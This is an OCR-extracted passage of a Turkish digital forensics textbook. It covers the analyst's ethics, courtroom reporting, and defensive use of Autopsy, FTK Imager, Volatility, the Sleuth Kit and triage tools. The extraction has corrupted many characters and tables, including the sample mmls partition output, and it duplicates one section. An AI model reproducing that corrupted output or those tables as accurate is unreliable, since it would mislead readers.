Etik Ilkeler: Sorusturmacinin Pusulasi
Adli bilisim uzmani, adaletin bir parcasidir. Bu nedenle su etik kurallar esnetilemez:

o Tarafsizhik (Objectivity): Uzman, kimin adina calistigindan bagimsiz olarak (sa-
vunma veya iddia) sadece verinin sdylediklerini raporlar. "Sugu kanitlamak" i¢in de-
gil, "gercegi bulmak" icin oradadir.

e Gizlilik: Sorusturma sirasinda elde edilen ticari sirlar veya kisisel veriler, yasal zorun-
luluk disinda asla ii¢iincii taraflarla paylasilamaz.

e Yetkinlik Siniri: Bir uzman, sadece bilgi sahibi oldugu alanlarda (6rnegin sadece mo-
bil adli tip) goriis bildirmelidir. Bilmedigi bir konuda "tahmin" yiirlitmek etik disidir.

Dijital adli bilisim uzmani teknik personel degildir; hukuki siirecin bir parcasidir.
Temel etik ilkeler:

o Tarafsizlik

e Nesnellik

o Delile sadakat

e Varsayim iiretmemek

o Kanitlanamayan yorumu rapora koymamak
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En kritik prensip:

Analist suclu belirlemez. Analist teknik bulguyu sunar.

8.2 Tarafsizlik ve Onay Yanlhhgi (Confirmation Bias)

En tehlikeli hata:

Sorusturma hipotezine gore veri aramak.

Dogru yaklagim:

Hipotez kur
Ciiritmeye calis
Dayaniyorsa raporla

Eger bir artefact yoksa:

“Bulunamadi” yazilir.
“Yoktur” yazilmaz.

Bu ciimle kitabin en kritik ctimlelerinden biri olabilir.

Adli Raporlama: Teknik Veriyi "Anlamh" Kilmak

Bir yargi¢ veya avukat, $MFT kayitlarini veya hex dokiimlerini anlamak zorunda degildir. Ra-
porun amaci, teknik karmasay1 hukuki bir dille terciime etmektir.

Raporun Standart Yapisi

AW =

6.

Vaka Bilgileri: Dosya numarasi, inceleme tarihi, incelemeyi yapan kisi.

Yonetici Ozeti: Teknik olmayan, 1 sayfalik "ne oldu?" 6zeti.

Incelenen Materyaller: Seri numaralar1 ve hash degerleri ile belirtilen cihaz listesi.
Kullamlan Araclar ve Yontemler: Analizde kullanilan yazilimlarin versiyonlari
(Orn: Autopsy v4.19, Volatility 3).

Teknik Bulgular ve Analiz: Ekran goriintiileri ve log ¢iktilartyla desteklenmis kanit-
lar.

Sonu¢ ve Uzman Gdriisii: Elde edilen verilerin profesyonel yorumu.

Uzman Tamklik (Expert Witness): Mahkemede Ifade Verme

Mahkeme salonuna girdiginizde, sadece bir miithendis degil, adalete yardimci olan bir danis-
mansinizdir.
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e Sadelestirme: "Enjeksiyon saldirisi yapildi" demek yerine, "Saldirgan, sistemin giive-
nilir bir parcasina disaridan yabanci bir kod yerlestirerek kontrolii ele gecirdi" seklinde
aciklama yapin.

o Diiriistliik: Eger bir sorunun cevabini bilmiyorsaniz, "Bilmiyorum, aragtirmam gere-
kir" demek, yanlis bilgi vermekten bin kat daha profesyoneldir.

e Capraz Sorguya Hazirhk: Karsi tarafin avukati, "Delil zincirinde 15 dakikalik bir
bosluk var, bu stirede veriyi degistirmediginizi nasil bilelim?" gibi sorularla metodolo-
jinizi sarsmaya ¢aligabilir. Burada hash degerlerinin ve log kayitlarinin 6nemi ortaya
cikar.

8.3 Adli Raporun Yapisi

Profesyonel bir dijital adli rapor su boliimlerden olusur:

1. Gorevlendirme ve kapsam
2. Kullanilan yontem ve araglar
3. Delil toplama stireci
4. Analiz siireci
5. Bulgular
6. Teknik degerlendirme
7. Sonug
Rapor:
e Acik

e Tekrarlanabilir
e Savunulabilir olmalidir.

8.4 1yi ve Koétii Rapor Ornegi
X Kotii Rapor Ciimlesi:
“Sanik dosyay1 ¢calmistir.”

Bu hukuki yorumdur.

Dogru Raporlama:

“22:43 tarihinde data_export.exe ¢alistirilmis, ayn1 dakikada USB baglantis1 tespit edilmis ve
7zip ile dosya sikistirma islemi gergeklestirilmistir.”

Analist davranisi yazar. Niyet degil.
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Ozellik

Kotii Rapor

Iyi Rapor

Dil Belirsiz ve agir1 teknik. Net, kesin ve sonug¢ odakli.
Metodoloji Bahsedilmez veya yiizeysel. Standartlara atif yapar (ISO/NIST).
izler birbirinden kopuk liste- Izler bir zaman cizelgesinde birlesti-
Korelasyon . o
lenir. rilir.
(.}orselles- Sadece metin duvar.. ffab}o, grafik ve ekran goriintiileri
tirme 1GerIr.
Sonug "Viriis var." Saldirt su yolla bagladi, su veriler

gitti."
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Delil Toplama

Analiz

Artefact
Korelasyonu

Bulgular

Teknik
Degerlendirme:
Sonuc

Sonug boliimii, bulgularin 6zetidir; yorumun degil.

8.5 Uzman Taniklik

Mahkeme ortaminda:
o Teknik terimleri sadelestirmek gerekir
e Jiiri teknik bilmez
o Hakim teknik bilmeyebilir

Uzman tanigin gorevi:

e Taraf olmak degil
e Teknik gercegi aciklamaktir
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Mahkemede Sorulabilecek Sorular
Bu analiz tekrar edilebilir mi?
Kullanilan arag¢ guvenilir mi2

Delil butunlGgu nasil saglandi2
Alternatif aciklama var mie

Hazirlikli analist, metodolojisini savunur.

8.6 En Biuyiik Hata

Analistin su ciimleyi kurmasi:
“Bence...”

Adli raporda “bence” yoktur.
“Bulgular géstermektedir” vardir.

Uzman Tamklik (Expert Witness): Mahkemede Ifade Verme

Mahkeme salonuna girdiginizde, sadece bir miithendis degil, adalete yardimci olan bir danis-

mansinizdir.

o Sadelestirme: "Enjeksiyon saldiris1 yapildi" demek yerine, "Saldirgan, sistemin giive-
nilir bir parcasina disaridan yabanci bir kod yerlestirerek kontrolii ele gecirdi" seklinde

aciklama yapin.

o Diiriistliik: Eger bir sorunun cevabini bilmiyorsaniz, "Bilmiyorum, aragtirmam gere-
kir" demek, yanlis bilgi vermekten bin kat daha profesyoneldir.

e Capraz Sorguya Hazirhk: Kars1 tarafin avukati, "Delil zincirinde 15 dakikalik bir
bosluk var, bu siirede veriyi degistirmediginizi nasil bilelim?" gibi sorularla metodolo-
jinizi sarsmaya calisabilir. Burada hash degerlerinin ve log kayitlarinin 6nemi ortaya

cikar.

108




Bolum 8 Kapanis

Dijital adli bilisim teknik bir disiplin oldugu kadar etik bir disiplindir. Analistin itibar1, kul-
landig1 araglardan degil; raporunun tutarliligindan ve tarafsizligindan gelir.

& "Zehirli Agacin Meyvesi" Prensibi

Hukukta ¢ok kritik bir kuraldir: Eger bir delil etik dis1 veya yasal olmayan bir yolla elde edil-
migse (Ornegin izinsiz bir arama), o delil ve o delilden yola ¢ikarak bulunan tiim diger kanitlar
gecersiz sayilir. Bu yiizden adli bilisimci, sadece teknik araglar1 degil, yasal siirlar1 (CMK
134, KVKK vb.) da ¢ok iyi bilmelidir.

DFIR serGvenimizi bu etik ve hukuki cerceveyle taclandiryoruz. Teknik bilgi bir kilicsa, etik ve ra-
porlama o kilici futan eldir.

Boliim 9 — Temel Adli Ara¢ Ekosistemi ve Kullanim Stratejisi

Dijital adli tip diinyasinda araglar "amag" degil, uzmanliginizi uygulamanizi saglayan "arag-
lar"dir. Iyi bir arastirmaci, tek bir ticari yazilima glivenmek yerine, farkl araglarin ¢iktilarini
birbiriyle dogrular.

Adli arag ekosistemini {i¢ ana katmanda inceleyebiliriz:

Veri Edinme (Acquisition) Araclari

Bu araglarin tek bir kutsal gorevi vardir: Veriyi orijinaline zarar vermeden, bit-bit kopyala-
mak.

e Donammsal Yazma Koruyucular (Write Blockers): (Orn: Tableau, WiebeTech)
Diske fiziksel erisimi engeller, tek yonlii veri akisi saglar.
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o FTK Imager: Endiistri standardidir. Hem canli sistemlerden RAM ddkiimii alabilir
hem de disk imajlarini farkli formatlarda (.£01, . raw) olusturabilir.
o« DC3DD /DD: Linux tabanli, yiiksek hizl1 ve giivenilir imaj alma komut satir1 araclari.

Analiz ve Inceleme Platformlari
Toplanan verilerin i¢inde "igne aradigimiz" devasa veri isleme merkezleridir.

o Autopsy (A¢ik Kaynak): En popiiler iicretsiz aractir. Dosya kurtarma, web ge¢misi
analizi ve anahtar kelime arama gibi islemleri otomatiklestirir.

o EnCase/ Magnet AXIOM (Ticari): Cok gelismis, raporlamasi gii¢lii ve mahkeme-
lerde yiiksek kabul goren profesyonel yazilimlardir. Ozellikle mobil ve bulut anali-
zinde Magnet AXIOM liderdir.

e The Sleuth Kit (TSK): Autopsy'nin arka planinda ¢alisan, dosya sistemi katmanlarini
inceleyen komut satir1 ara¢ takimidir.

Kullanim Stratejisi: "Cift Arag Dogrulamas1”
Adli bilisimde altin kural **"Dual Tool Verification"**dir. Onemli bir bulguyu (6rnegin silin-
mis bir cocuk istismari fotografi veya bir saldirganin IP adresi) asla tek bir aracin ¢iktisiyla
raporlamamalisiniz.
1. A Araci ((:)rn. Autopsy): Bir dosyanin silindigini saptadi.
B Araci (Orn. X-Ways veya Manuel Hex Analizi): Dosyanin baslangic ve bitis sek-

torlerini manuel kontrol ederek bulguyu teyit etti.
3. Sonuc: Hata pay1 minimize edildi, rapor sarsilmaz hale geldi.

Dijital adli bilisim araglar1, metodolojinin yerine gegmez. Araglar yalnizca veri iiretir; analitik deger, dogru arag
se¢imi ve korelasyon ile olusur. Bu boliimde temel araglar, kullanim baglamu ile birlikte ele alinmaktadir.

9.1 Disk Imaj1 Incelemesi

Autopsy

Dijital adli tipta Autopsy, acik kaynakli bir "Isvicre cakis1" gibidir. Disk imajlarin1 analiz et-
mek, silinen dosyalar1 geri getirmek ve kullanici aktivitelerini bir zaman tiineline dizmek igin
diinya ¢apinda en ¢ok kullanilan aragtir.

Bir disk imajin1 Autopsy ile incelerken izlenen stratejik adimlar1 ve aracin sundugu kritik
ozellikleri inceleyelim.

Vaka Olusturma ve imaj Ekleme

Siireg, bir "Case" olusturmakla baglar. Autopsy, her seyi bir veritabaninda tutar.
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e Veri Kaynagi: .£01 (Expert Witness), . raw veya .vmdk (Sanal makine) formatindaki
imajlar eklenebilir.

« Ingest Modules: Autopsy'nin asil giicii buradadir. Imaj1 tararken arka planda ¢alisa-
cak "zekay1" secersiniz:

Hash Lookup: Bilinen zararlilarin hash degerlerini tarar.
Keyword Search: E-posta, kredi kart1 veya 6zel kelimeleri arar.

Recent Activity: Kayit defteri, tarayici gegmisi ve son kullanilan dosyalar1 ayiklar.

Disk Analizinin Temel Katmanlari
A. Dosya Sistemi Incelemesi (File System)

Autopsy, diskin dosya sistemini (NTFS, FAT32, EXT4) ¢6zerek size tanidik bir klasor yapist
sunar.

« Deleted Files: Uzerine heniiz veri yazilmamis, dosya sisteminde "silindi" olarak isa-
retlenmis dosyalar1 6zel bir klasorde toplar (Kirmizi "X" ile gosterilir).

o Unallocated Space: Herhangi bir dosyaya atanmamis bos alanlar tarayarak (File Car-
ving yontemiyle) dosya basliklarindan (Magic Bytes) resim, video veya dokiiman kur-
tarir.

B. Zaman Cizelgesi (Timeline) Analizi

"Olaylar hangi sirayla oldu?" sorusunun cevabidir. Autopsy; dosya olusturma, degistirme,
erisme ve kayit defteri olaylarini tek bir grafik tizerinde birlestirir.

o Bu goriinlimde, saldirganin sisteme sizdig1 andaki dosya hareketlerini saniye saniye
izleyebilirsiniz.

C. Artefact Analizi (Data Artifacts)

Autopsy, Windows'un karmasik artefact'larini otomatik olarak insan tarafindan okunabilir
hale getirir:

o Web Artifacts: Hangi sitelere girildi, hangi dosyalar indirildi?

e Programs Run: Prefetch ve UserAssist kayitlarini okuyarak hangi programin kag kez
calistigin listeler.

o Connected Devices: Sisteme takilan USB cihazlarini ve seri numaralarini gosterir.
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3. Autopsy ile Inceleme Stratejisi: "Eleme Yontemi"
Binlerce dosya arasinda kaybolmamak igin su stratejiyi izlemelisin:

1. Known Bad (Zararh) Taramasi: NSRL veya 6zel hash kiitiiphaneleriyle bilinen vi-
risleri aninda ele.

2. Keyword Search: Vaka ile ilgili anahtar kelimeleri (Orn: "Gizli", "Sifre", "Bilango")
ara.

3. Interesting Files: Autopsy'nin kendi algoritmastyla "siipheli" (Orn: Masaiistiindeki
bir .exe veya garip bir klasordeki .dll) buldugu dosyalara odaklan.

4. Communication Analizi: Mesajlagsma uygulamalari ve e-posta veri tabanlarini
(PST/OST) incele.

4. Raporlama (Reporting)
Inceleme bittiginde Autopsy, bulgulart mahkemeye sunulabilecek bir HTML veya Excel ra-

poru haline getirir. Raporunuzda; buldugunuz her dosyanin dosya yolu, MD5 hash degeri ve
olusturulma tarihi mutlaka yer almalidir.

Senaryo: "Kostebek Operasyonu"
Bir teknoloji firmasi, rakip firmaya gizli bir liriin tasariminin sizdirildigindan siipheleniyor.
Siipheli, tasarim departmaninda ¢alisan bir personel. Personelin bilgisayarindan alinan bir

Disk imaji (.E01) elimizde. Amacimiz; sizintiin yapilip yapilmadigini, yapildiysa hangi
yontemle (USB, Bulut, E-posta) gerceklestigini kanitlamak.

Vaka Kurulumu ve Imajim Igeri Alinmasi
Autopsy'yi agtyoruz ve ""New Case' diyoruz.
e (Case Name: Sizinti Sorusturmasi 2024
e Host: suspect Workstation 01
o Data Source: Siiphelinin disk imajin1 se¢iyoruz.
o Ingest Modules: Zaman kazanmak icin her seyi se¢gmiyoruz. Bu vaka i¢in kritikler:
Recent Activity (Tarayici ve sistem gegmisi)
Hash Lookup (Bilinen araclar i¢in)
Keyword Search ("Tasarim", "Gizli", "Rakip Firma_ Adi")

Embedded File Extractor (ZIP veya PDF icindeki gizli dosyalar igin)
[k Kanitlarin Pesinde (Triage)

Imaj islenirken (ingest) sol paneldeki "Data Artifacts" kismima odaklaniyoruz.
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o USB Cihazlar: pevices Attached kismina bakiyoruz. Siipheli, sizint1 giinii sisteme
bir marka-modeli belirsiz "Sandisk" USB takmis m1?

Bulgu: Saat 14:05'te bir USB takilmus.

e  Web Gecmisi: web History kisminda bulut depolama siteleri (WeTransfer, Mega.nz)
veya rakip firmanin kariyer sayfasi aranir.

Silinen Dosyalar1 Geri Getirme
Saldirganlar veya veri sizdiranlar genellikle kanitlar siler.
e "Deleted Files" klasoriine giriyoruz.
e Burada "Tasarim_Sema.pdf" gibi bir dosya iizerinde Kirmuzi X isareti var m1?
o Eger dosya oradaysa, lizerine sag tiklayip "Extract File" diyerek dosyay1 disar1 aliyo-
ruz ve igerigini kontrol ediyoruz.

Zaman Cizelgesi (Timeline) ile Hikayeyi Birlestirme

Simdi tiim pargalar1 birbirine baglayalim. Ust meniiden "Timeline" butonuna basiyoruz.

1. 14:00: Kullanici "Gizli_Tasarim.docx" dosyasini act1 (LNK dosyasi kaniti).

2. 14:05: Bir USB depolama aygit1 sisteme baglandi (Registry kanit1).

3. 14:08: "Gizli_Tasarim.docx" dosyas1 USB siiriiciisiine kopyalandi1 (MFT degisikligi).

4. 14:10: Kullanici dosyay1 bilgisayardan sildi ve Geri Doniisiim Kutusu'nu bosaltti.
Anahtar Teslim Rapor

Buldugumuz bu silsileyi raporlamamiz gerekiyor.
e Autopsy i¢cinden "Generate Report'" diyoruz.
o« HTML Report secenegini segiyoruz.

e USB'nin takilma anin1 gosteren Registry kaydini ve silinen dosyanin kurtarilmis halini
rapora "Ilgi Cekici Bulgu" (Tagged Result) olarak ekliyoruz.

Final Analizi:
Elimizdeki kanitlar:
1. USB Kaydi: Seri numarasi belli bir cihaz o giin takilmus.
2. LNK Dosyasi: Dosyanin en son o USB takiliyken acildigini ispatliyor.

3. Kurtarilan Dosya: Silinmis olmasina ragmen hash degeri orijinal tasarimla tutuyor.

Sonug: Veri sizintis1 USB araciligiyla ger¢eklesmistir.
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9.2 Delil Toplama ve Goriintiileme

FTK Imager

Dijital adli tibbin "temel tas1" olarak kabul edilen FTK Imager, bir sorusturmanin kaderini
belirleyen en kritik asamada devreye girer: Veri Edinimi (Acquisition).

FTK Imager, bir analiz arac1 olmaktan ziyade, veriyi orijinaline zarar vermeden kopyalamay1
(imaging) ve kanitlarin biitiinliigiinii (integrity) hash degerleri ile miihiirlemeyi saglayan bir
"adli kopyalama" aracidir.

FTK Imager'in Temel Yetenekleri
FTK Imagerh bir dijital dedektif i¢in vazgecilmez kilan 4 ana fonksiyon vardir:

« TFiziksel ve Mantiksal Imaj Alma: Diskin tamamini (Physical) veya sadece belirli
boliimleri/dosyalar1 (Logical) kopyalayabilir.

e Bellek (RAM) Dékiimii: Canli bir sistemden ugucu verileri (sifreler, aktif baglantilar)
cekmek i¢in en gilivenilir araglardan biridir.

e Yazma Korumali izleme (Preview): Bir diskin icine girmeden ve iizerindeki metave-
riyi degistirmeden igerigine "gdz atmanizi1" saglar.

o Montaj (Mounting): Daha 6nce alinmis bir imaj dosyasini sanki bilgisayara takilmig
bir diskmis gibi sisteme baglamanizi saglar.

2. Adli Imaj Formatlar
FTK Imager ile imaj alirken karsiniza ¢ikan formatlar, verinin nasil saklanacagini belirler:

e Raw (dd): Verinin ham halidir. Hi¢cbir sikistirma veya metaveri igermez. Her tiirlii
aracla uyumludur.

e EO01 (EnCase Evidence File): Endiistri standardidir. Veriyi sikistirir, i¢ine vaka bilgi-
lerini (uzman adi, tarih, notlar) gémer ve her veri blogu i¢in dahili hash dogrulamast
yapar.

e SMART / AFF: Diger adli tip standartlaridir ancak EO1 kadar yaygin degildir.

3. Adim Adim Adli Imaj Alma Stratejisi

Bir vakada hata yapmamak i¢in su akis izlenmelidir:

1. Write Blocker Kullanimi: Eger imaj canli bir sistemden degil de sokiilmiis bir disk-
ten alintyorsa, fiziksel bir yazma koruyucu (Write Blocker) mutlaka kullanilmalidir.
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2.

Evidence Item Information: File > Create Disk Image dedikten sonra vaka nu-
marasi, kanit numarasi ve acgiklamalar girilir. Bu bilgiler E01 dosyasinin i¢ine kalict
olarak kazinir.
Dogrulama (Verification): Imaj alma islemi bittiginde FTK Imager, orijinal disk ile
kopya imajin hash degerlerini (SMD5$ ve $SHA-1$) karsilastirir.
o Kritik: Eger bu iki deger birbirini tutmazsa, aldiginiz imaj mahkemede delil
olarak kullanilamaz.

4. RAM (Bellek) Capture Islemi

Canli bir sisteme miidahale ederken FTK Imager'n "Capture Memory" 6zelligi kullanilir.

Strateji: FTK Imager siiphelinin bilgisayarina kurmak yerine, bir USB bellekten
"Lite" (kurulum gerektirmeyen) versiyonunu ¢alistirmak, sistemde birakacaginiz
"ayak izini" minimize eder.

Pagefile Dahil Etme: RAM dokiimii alirken "Include pagefile" secenegini segerseniz,
0 an RAM'den diske tasinmis sanal bellek verilerini de kurtarabilirsiniz.

5. Pratik Bir Ipucu: Sifreli Diskler

Eger siipheli bilgisayar1 agik biraktiysa ve disk BitLocker ile sifrelenmisse:

1.

Bilgisayar1 sakin kapatma!

2. FTK Imager ile "Physical Drive'" imaj1 alirken, anahtarin (key) RAM'de olup olmadi-

gin1 kontrol etmek i¢cin mutlaka ayn1 anda RAM dokiimii de al.
Eger sifre agikken mantiksal bir imaj alirsan, veriye ulasabilirsin; ancak bilgisayari ka-
patirsan disk kilitlenecektir.
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9.3 Bellek Analizi

Bellek analizinde (Memory Forensics) Memory Profile belirleme, analiz aracinin (6zellikle
Volatility 2) isletim sisteminin veri yapilarini, sembollerini ve ¢ekirdek (kernel) mimarisini
dogru anlamasi i¢in kurulan bir "terciime kopriisii"diir. Eger yanlis profil se¢ilirse, Volatility
bellekteki verileri yanlis yorumlar ve size higbir sonug¢ vermez veya hatali sonuglar (garbage
data) tiretir.

Iste bellek profilini belirleme ve yapilandirma stratejisi:

Volatility 2 ve Profile Gereksinimi

Volatility 2.x siiriimlerinde her isletim sistemi siiriimii ve servis paketi icin (Orn: Windows 7
SP1 x64) 6zel bir profil segmek zorunludur.

Otomatik Profil Belirleme: imageinfo

Elinizde bir bellek dokiimii (. raw, .mem, .aff) oldugunda, ilk yapmaniz gereken hangi profi-
lin uygun oldugunu bulmaktir.

python vol.py -f mem_dump.raw imageinfo
Nasil Cahsir? Volatility, bellek icindeki SKDBG$ (Kernel Debugger Block) yapisini tarar.

Sonug: Size "Suggested Profiles" (Onerilen Profiller) listesi sunar. Genelde en bastaki profil
en dogru olanidir.

Volatility 3: Profile Devrimi (Symbol Tables)

Yeni nesil Volatility 3, eski "Profile" kavramini terk etmistir. Bunun yerine Symbol Tables
(Sembol Tablolar1) kullanir.

e Otomatik Tamima: Volatility 3, bellek dokiimiinii analiz ederken isletim sistemini
otomatik olarak tanimaya c¢alisir ve internetten (veya yerel dizinden) gerekli sembol-
leri geker.

e Avantaji: "Yanlis profil se¢tim" derdi ortadan kalkar. Arag, ¢ekirdegin i¢ yapisini
(PDB dosyalari iizerinden) dinamik olarak olusturur.
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Linux ve macOS Profil Belirleme (Zorlu Yol)

Windows i¢in profiller hazirdir, ancak Linux i¢in durum farklidir. Her Linux ¢ekirdegi (ker-
nel) kendine hastir. Bu yilizden Linux analizinde profil belirlemek "Profil Olusturmak" anla-
mina gelir:

1. Sistem Bilgisi: incelediginiz makineyle ayni ¢ekirdek siiriimiine sahip bir makine bulma-
lisiniz.

2. Dwarfdump: Cekirdek veri yapilarini (vmlinux) ayiklamak i¢in kullanilir.

3. Profil Olusturma: module.c ve system.map dosyalar1 kullanilarak bir . zip dosyasi
(profil) olusturulur ve Volatility'nin overlays/linux dizinine atilir.

4. Dogru profili belirlediginizi teyit etmek i¢in ilk "saglamlik testi" (Sanity Check) komutu
her zaman sudur:

5. Komut (Vol 2):

python vol.py -f mem_dump.raw --profile=Win7SP1x64 pslist
o Eger siirec listesi (PID, isimler) diizgiin goriiniiyorsa: Profil dogrudur.

o Eger tablo bossa veya anlamsiz karakterler varsa: Yanlis profil secilmistir, image-
info sonucundaki diger onerileri deneyin.

Profil Belirlemede "KDBG" ve "KPCR"

Eger imageinfo basarisiz olursa, daha derin bir tarama yapan kdbgscan komutu kullanilir:
« KDBG (Kernel Debugger Block): Isletim sisteminin siiriim bilgilerini ve siireg liste-
sinin baslangi¢ noktasini tutan yapidir.
e KPCR (Kernel Processor Control Region): CPU cekirdekleri hakkindaki bilgileri

tutar.

Volatility 3, eski siiriimlerdeki gibi manuel --profile parametresi gerektirmez. Bunun yerine
"Sembol Masalar1" (Symbol Tables) kullanilir.

e Komut:
python3 vol.py -f memdump.raw windows.info
e Anlami: Bu komut, bellek dokiimiinii tarar ve isletim sistemi siiriimiinii, kernel (¢ekir-
dek) yapisini ve hangi sembol dosyasinin kullanilmasi gerektigini otomatik olarak tes-
pit eder.
e (Ciktida Nelere Bakilir?
NTBuildLab: Windows versiyonu ve build numaras.

SystemTime: Bellegin alindig1 ger¢ek zaman.

Architecture: x64 mii yoksa x86 mi1 oldugu.
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Volatility 2: Manuel Profil Tespiti (Geleneksel Yontem)

Eger eski bir sistem veya 6zel bir yapi inceleniyorsa Volatility 2 kullanilir. Burada profil ma-
nuel secilmelidir.

Adim 1: Profili Bulma
python vol.py -f memdump.raw imageinfo

Adim 2: Profili Uygulama imageinfo size "Suggested Profiles" (Onerilen Profiller) baslhig1 altinda bir
liste sunar (Orn: Win10x64 19041).

Analize Baslama
python vol.py -f memdump.raw --profile=Winl0x64 19041 pslist

Dogru profil, bellek analizinin anahtaridir. Anahtar yanlissa, kap1 (RAM igerigi) asla
agilmaz.

9.4 Dosya Sistemi Derin Analizi (TSK)

-0 <offset> parametresi, hacim baslangi¢ sektoriinii ifade eder.

Adli bilisimde The Sleuth Kit (TSK) ile dosya sistemi analizi yaparken Offset kavrami, veri-
nin dijital medyadaki (disk veya imaj) tam fiziksel adresini bulmanizi saglayan "konum bilgi-
sidir".

Bir disk imaj1 (.e01 veya .raw) genellikle birden fazla bdliimden (partition) olusur. TSK arac-
larin1 kullanirken, analiz etmek istediginiz dosya sisteminin (NTFS, FAT32 vb.) diskin en ba-
sindan kag bayt veya sektor sonra basladigini belirtmeniz gerekir.

Offset Neden Onemlidir?

Eger TSK'ya (6rnegin fls komutuna) offset belirtmezseniz, ara¢ imajin en basina (Master Boot

Record - MBR) bakar ve orada bir dosya sistemi bulamadigi i¢in hata verir. Offset, araca sunu

soyler: "Imajin basindaki gereksiz verileri atla, tam olarak X noktasindaki dosya sistemine
odaklan."

Offset Nasil Tespit Edilir? (mmls)

Analize baglamadan 6nce boliim tablosunu gérmek i¢in mmls komutu kullanilir.
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Komut:
mmls imaj.raw
Ornek Cikti: | Slot | Start | End | Length | Description | | :--- | :--- |
te-= | t-== | :--- | | e0: | 00000EEEEO | ©PPLLLEES | ©EEEEEEER1 | Pri-
mary Table | | 01: | 0PPPPEEEA1 | 00EEEPLL62 | PPPLEEEA62 | Unallocated |
| 02: | 0000002048 | 000206847 | 0000204800 | NTFS (0x07) |
Buradaki Start siitunundaki 2048 degeri bizim Sektor Offset degerimizdir.
TSK Komutlarinda Offset Kullanimi (-0)
Offset degerini bulduktan sonra diger TSK araclarina bu bilgiyi -o parametresi ile veririz.
o Dosyalan Listelemek (fls):
fls -o 2048 imaj.raw
Silinmis Bir Dosyay1 Kurtarmak (icat):

icat -o0 2048 imaj.raw 1234 > kurtarilan_dosya.jpg

9.5 Ag Analizi — C2 Dogrulama

Metrik C2 Belirtisi Mesru Trafik Belirtisi
Gelen/Giden . . .. Gelen veri (Download)
Oram Giden veri (Upload) ¢ok yiiksek. flte Tl
User-Agent A.h$.1 lm.a Sl GRSl (L Giincel tarayici bilgileri.
bilgileri.
TLS Sertifikas Kendl kendine 1rpzalanm1$ (Self- Glivenilir otoritelerce im-
signed) veya yeni alinmis. zalanmis.
< .. Cok uzun siireli ve diisiik hacimli Kisa siireli ve yiiksek ha-
Baglant1 Siiresi " C e ..
Keep-alive" baglantilar. cimli oturumlar.
dns && ip.addr == x.Xx.Xx.Xx

DNS sorgusu + hemen ardindan TLS baglantisi, beacon davranis1 gostergesi olabilir.

Bu profesyonel refleks.
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9.6 Triage Stratejisi

Dijital adli tipta Triage (Onceliklendirme), kisitli zaman ve devasa veri miktar arasinda
denge kurma stratejisidir. Geleneksel adli bilisimde tiim diskin imajin1 almak ve giinlerce ana-
liz etmek esastir; ancak Olay Miidahalesi (Incident Response) sirasinda saniyeler kritiktir.

Triage, "tiim samanlig1 degil, sadece ignenin olabilecegi yerleri" dakikalar i¢inde toplama sa-
natidir.

DFIR siireglerinde Triage (Onceliklendirme), kisitli zaman ve kaynakla en yiiksek verimi
alma sanatidir. Bir siber olay aninda yiizlerce sunucunun imajini almak haftalar siirebilir; Tri-
age stratejisi ise size "hangi veriyi, hangi cihazdan, ne kadar siirede" almaniz gerektigini soy-
ler.

Triage Neden Gereklidir?

Modern sistemlerde disk boyutlar1t TB (Terabayt) seviyesindedir. Bir disk imajin1 almak 4-8
saat, onu analiz etmek ise giinler siirebilir. Triage stratejisi ile:

e Saldirganin hala sistemde olup olmadig1 10-15 dakika i¢inde anlasilir.

o Hangi cihazlarin derinlemesine incelenmesi gerektigine karar verilir.
e Kiritik deliller (RAM gibi) ugup gitmeden yakalanir.

Triage Veri Toplama Katmanlari
Bir sistemden "Triage Paketi" toplarken su hiyerarsi izlenir:
A. Bellek ve Canli Sistem Verileri (En Ugucu)
o Aktif Baglantilar: netstat, arp tablolari.
e Calisan Siirecler: pslist, tasklist.
e Oturum A¢mis Kullanicillar: quser, logonsessions.
B. Windows Artefactlar1 (Hedefli Dosyalar)
Diskin tamamini kopyalamak yerine sadece su dosyalar cekilir:
e Registry Hives: sYSTEM, SOFTWARE, SAM, SECURITY, NTUSER. DAT.
o Event Logs: .evtx uzantili tiim sistem ve uygulama giinliikleri.

o Execution Logs: Prefetch, Amcache.hve, Shimcache.
o File Access: LNk dosyalar1 ve JumpLists.
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Triage Stratejisinde Kullanilan Araclar
Triage igin dzel olarak tasarlanmis "Swiss Army Knife" (Isvigre Cakisi) tipi araclar kullanilir:

e KAPE (Kroll Artifact Parser and Extractor): Triage diinyasinin kralidir. Belirledi-
giniz hedefleri (Targets) saniyeler i¢inde toplar ve modiilleriyle (Modules) bunlari
aninda CSV/JSON formatina parse eder.

« Velociraptor: Olgeklenebilir bir u¢ nokta (endpoint) izleme ve sorgulama aracidir.
Binlerce bilgisayarda ayni anda "Su dosyay1 bana getir" diyebilirsiniz.

o Cyber Triage: Otomatik analiz yaparak siipheli bulgular1 skorlayan ticari bir plat-
formdur.

Uygulama Stratejisi: "Kollektif Analiz"
Bir siber saldir1 ihbar1 aldiginizda izlemeniz gereken Triage akist:

1. Hazh Tespit: Saldiriya ugradigi disiiniilen 10 bilgisayardan KAPE ile "Standard Tri-
age" paketi topla.

2. Korelasyon: Toplanan bu paketleri merkezi bir analiz makinesine (Analyst Station)
aktar.

3. Zaman Cizelgesi (Timeline): Tiim makinelerdeki prefetch ve Event Log verilerini
tek bir zaman ¢izelgesinde birlestir.

4. lizolasyon Karari: "Bilgisayar-03" {izerinde zararli bir powershel1 siireci ve disariya
giden bir baglant1 saptandiysa, sadece o makineyi agdan izole et ve tam disk imajini
al.

Triage'in Riskleri

e Eksik Veri: Sadece belirli artefact'lar1 aldiginiz igin, saldirganin alisilmadik bir yerde
sakladig1 bir dosyay1 kacirabilirsiniz.

e Ayak Izi: Triage araglarini ¢alistirmak, sistemin RAM'inde ve loglarinda iz birakir.
Ancak acil durumlarda bu risk kabul edilebilir seviyededir.

Iste modern bir DFIR Triage Stratejisinin temel taslar::

Veri Oynaklik Siras1 (Order of Volatility - RFC 3227)

Triage'in ilk kurali, en ¢cabuk kaybolacak veriyi ilk 6nce kurtarmaktir.

1. Bellek (RAM): Sistem kapandig1 an yok olur. (Calisan siiregler, sifreler, ag baglanti-
lar1).

2. Gegici Dosyalar ve Onbellek: (Temp dosyalari, Routing tablosu).

Disk Verileri: (Loglar, kullanict dosyalart).

4. Arsiv ve Yedekler: En az oynak olan verilerdir.

(O8]
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Hizh Miidahale Senaryosu

e Olay miidahalesi ilk 30 dakika
o Triage hedefleri
e Registry + Event log + Browser artefact

Hizli Veri Toplama (Live Response)

Tam disk imaj1 (Full Image) yerine, sadece saldirganin iz birakabilecegi "Yiiksek Degerli
Artefaktlar" toplanir. Bu islem genellikle 5-10 dakika siirer.

e Windows icin: $MFT$, Event Logs, Registry Hives, Prefetch, LNK files,
Task Scheduler.
